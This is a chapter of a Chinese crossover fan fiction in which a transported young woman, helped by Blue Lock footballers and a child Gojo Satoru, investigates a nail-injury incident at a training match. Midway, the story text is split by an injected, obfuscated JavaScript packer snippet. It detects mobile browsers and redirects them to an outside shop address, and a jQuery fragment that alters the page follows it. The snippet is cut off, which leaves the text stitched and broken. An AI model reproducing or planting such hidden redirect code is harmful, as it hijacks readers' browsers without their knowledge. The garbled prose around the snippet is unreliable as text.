和苏池青想的完全不一样,蜂乐回并没有为她的到来而感到慌张与害怕,而是微微眯起眼,若有所思地上下打量了她一番。
走廊道中那群人快到门前时,蜂乐回突然打了个哈欠说:“我打算稍作午休再去吃午餐,不用等我们,你们先去吧。”
说罢,他毫不犹豫地关闭寝室门,苏池青因紧张而疯狂跳动的心脏也渐渐恢复平静。
“是要有什么好玩的乐子吗?”蜂乐回雀跃地绕到苏池青面前,倾身与她平视,“嫌疑人居然私自离开监控范围了吗?”
苏池青毫不客气地回怼:“怎么?你要举报我们吗?”
她预料中的抵触与怒意全然没有出现,蜂乐回非但没有生气,反而朝她竖起大拇指,说得直白又坦荡:“你的性格我喜欢。”
苏池青:“?”
五条悟:“……”
洁世一尴尬地扯了扯嘴角,勉强挤出一个缓和气氛的笑。
墙上钟表的时针指向某个小时,不停“滴滴嗒嗒”作响,洁世一趁着空档向蜂乐回解释了苏池青和五条悟的来意。
“所以你怀疑查语司的队友是吗?”蜂乐回没有绕弯子,很直白地问苏池青。
苏池青也没打算隐藏自己的想法:“是,根据我目前的分析,查语司的队员有严重作案嫌疑。”
结合悬疑小说和漫画中常有的情节,再加上洁世一所说查语司是突然出现在他面前的,球场战队阵容瞬变——原本应是查语司的队长受伤,却变成了查语司,这说明这根本就是一场有策划的阴谋。
她问:“查语司所在的队伍的队长是谁?”
蜂乐回刚想张嘴回答,一直安静沉默的五条悟抬起眼,声音平淡无波澜地打断他:“骆斯。我从来寝室的路上曾瞄到过一眼比赛名单。”
“你好棒哦。”苏池青很想摸摸小弟弟五条悟的脑袋,揉揉他的发丝,却被他不动声色地躲开。
她尴尬地收回刚抬起的手,心想这小孩怎么对人冷飕飕的。
一起绕到案发现场调查的时候,她问这小孩:“穿越来之前在干嘛呢?和小朋友一起玩吗?”
而对方来了一句:“我不需要朋友。”
“啧啧啧。”苏池青一边回忆着频频摇头,想着还要破案,便很快从思绪中回神,看向洁世一和蜂乐回,“现在怎么办?”
她有些苦恼:“我不能看比赛回放,也没有见骆斯的机会,难不成要去案发现场一直盯着一枚破钉子看?”
要不然就是偷偷溜到事件调查组里面去调监控看。
不行不行。
苏池青摇摇头,觉得自己还是要走正规渠道比较好,要不然嫌疑只会越来越重。
“我可以带你看比赛回放。”蜂乐回站起身伸了个懒腰,歪了歪脖子,“你不觉得现在这件事很有意思吗?”
苏池青一脸茫然,完全没明白乐趣所在:“哪里有意思?”
她很想说自己被当凶手对待,还要时刻警惕身边所有陌生人,可没意思了。
“刷我们成员的ID卡就能进哦。”蜂乐回收起ID卡的同时放映厅的门自动开启,“用我的权限看吧。”
苏池青拉着五条悟的手,左右观察了一番放映厅中的环境,随手拿起桌上的一袋薯片,下意识先照顾小孩。
她垂眸问五条悟:“你要吃吗?”
五条悟轻哼一声,满脸写着我根本不爱吃六个大字,并附带一句:“我不是普通小孩,不需要你的照顾。”
“你怎么和我家那只猫一样傲娇。”苏池青不再管他,自顾自地盘腿窝在沙发上,同蜂乐回、洁世一以及站在一旁的五条悟一起看比赛回放。
视频中清晰展示,红蓝两方各十一位选手,蓝锁在蓝方,受害者查语司所在的队伍是红方。
蓝方洁世一处在中场前腰位置,负责组织进攻、传球并梳理节奏,而他面前的人本应是红方骆斯,可在球马上传来的那一刻,红方查语司竟无视阵容,突然从原本的后腰位置冲到骆斯所在的位置。
这突如其来的变动,让完全不了解足球规则的苏池青当场愣在原地。
红方毫无商量,查语司无视阵容,仿佛带有目的性地直直越过骆斯。
而苏池青在视频中明显看到,骆斯脸上曾闪过一抹迟疑,但还是主动让开位置。
对足球一窍不通的她在心里问系统:系统你能监测他们当时的体能吗?
【……亲爱的宿主,我是体能监测系统没错,但我是“监测”,只能监测当前,无法监测以前。】
她不死心地继续问道:那你能分析出查语司无视阵容猛冲直进,是不是他新研究出的战术吗?
【宿主有一点我必须说明,虽然我无法替您解答心中疑问,但查语司绝对不可能在不通知队友的前提下,猛然间研究出新战术并随意改换。】
经系统这么一说,苏池青觉得挺对。
【你面前不是有两位足球天才吗?与其问我还不如问他们。】
话音刚落,苏池青静悄悄爬到洁世一和蜂乐回中间,低声打断:“你们俩觉得是哪里的问题?”
洁世一神情严肃,语气笃定:“查语司的举动不合常理。在我的印象中,查语司一向成熟稳重,绝对不可能无视阵容猛冲。”
蜂乐回性子直,弹了弹苏池青额头:“很明显的事啊,问题出在查语司和骆斯之间,牵扯不到其他队友身上。”
骤然传来的疼痛感让苏池青捂起额头,直勾勾瞪着蜂乐回。
但与此同时,蜂乐回的话仿佛给了她启示。
足球场上忽然出现了钉子,被扎伤的人从原本的骆斯变成了查语司,这一变化与骆斯当时迟疑的眼神有关。
她脑中突然闪过一道灵光,猛地坐直身子激动地摇晃五条悟:“我明白了,我明白了!”
“凶手不是查语司自己就是骆斯!”
五条悟微不可查地轻蹙眉头,没有感到半分惊讶,冷冷吐出一句:“你终于看出来了?”
“当然!”苏池青丝毫没注意到五条悟眼神中的无奈,继续道,“现在就两种情况,第一是查语司想放钉子害骆斯,本想诈一下骆斯让他去踢那一球,却没想到骆斯让开。”
她手指比耶:“第二种就是,骆斯放的钉子想害查语司,料想到查语司会抢球,所以本意让开让他中招。”
毕竟当时那个球的位置,只要骆斯或者查语司接到,必定能将球踢入球门。在那种情况下,无论答案的真相是何,他们都无法立刻停止下来。
不知为何,苏池青有一种马上就能破解谜案、证明清白、加入蓝锁、带他们夺冠,最后回现实美美看她的漫画的预感。
-
洁世一和蜂乐回对蓝锁训练场了如指掌,他们带着苏池青与五条悟,怀着这个万般笃定的想法绕过监控视角,径直来到骆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552912|204382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯的寝室。
目前查语司还在医院紧急治疗中,暂时无法被探望,他们只能先从骆斯这里下手。
推开门的瞬间,骆斯好像提前知道他们要来一样,在桌上准备好了茶和面包。
骆斯坐在桌前,双手合十放在膝盖前,抬眸苦笑一番:“我就知道,总会有人调查来调查去,最后怀疑到我这里。”
憋了一路问题的苏池青,在此时终于忍不住问道:“所以你是凶手吗?”
其他三人显然没料到苏池青会问得这么直接,都不由自主地观望骆斯脸上的表情。
骆斯笑着摇摇头:“不是我。”
寝室内好像静了几秒,除了骆斯仿佛心态崩塌、痛苦地双手捂着脸,其他四人脸上神态各异。
苏池青畏畏缩缩地背靠着门,目不转睛地盯着骆斯。
半晌,她才从嗓子眼里憋出一句:“你既然不是凶手的话,为什么那么确定我们会来找你?”
骆斯并没解释太多,只告诉她:“这是来自于球手的直觉?”
苏池青:“?”
直觉什么的听着挺玄乎,但她居然觉得骆斯说的对,不像那种现代普信男。
就比如去买漫画的路上,她的直觉告诉自己今天一定会出事,果真就出事了,来到了这里。
“都别傻愣着了。”骆斯打断苏池青思绪,朝四人招招手,“洁世一和蜂乐回对吧?我们好歹对手一场,站在门前那么防备我做什么?”
几乎是骆斯刚说完,蜂乐回便拿起桌上的面包放进嘴里,眼神发亮:“你们是英国来的选手,听说面包不错。”
“你搭档一直这么随性直接吗?”苏池青用胳膊肘戳了戳洁世一,随后垂眸问五条悟:“要不要去那里坐?”
五条悟没理她,径直站到蜂乐回身边,用审视般的目光注视着骆斯。
苏池青只感觉后槽牙都要咬碎了。
“你们想问什么的话就问吧。”骆斯带有歉意地望了苏池青和五条悟一眼,“如果能证明小姑娘和小弟弟清白的话。”
“而且被你们四个人用那种直勾勾的眼神盯着我还真不适应。”
苏池青轻扯嘴角,开门见山道:“球场出现钉子的事,你提前知道吗?”
骆斯摇头:“我不知道。”
“对于查语司改变阵容猛冲直撞,去接本该属于你的那一球,你什么看法?”
骆斯犹豫片刻后,说:“他似乎对我队长的身份不太满意。”
“是因为当时队长竞选赛的时候,查语司因为至关重要的一球输给了你对吗?”
苏池青垂眸,想着从蓝锁影视厅看到的比赛选手信息与过往,沉声道:“所以他一直对此不满,想着替换掉你的位置。”
不知道是不是骆斯所说的直觉在作祟,这一刹那中她仿佛有了一个比较荒谬的答案。
“或许事情的真相远比我们想的要简单。”
她声音很轻,夹杂着一种复杂的情绪:“受害者是查语司,同样凶手也是他自己。”
至于查语司为什么要选择自己撞上去,她想是因为不舍。
就在她话音落下的那一秒,骆斯收到了医院的电话,并打开了免提。
电话中的查语司带着愧疚:“抱歉骆斯,也很抱歉让无辜成员因我被怀疑,此事件的凶手是我自己,不用再查了。”
果然,结果和她想的一模一样。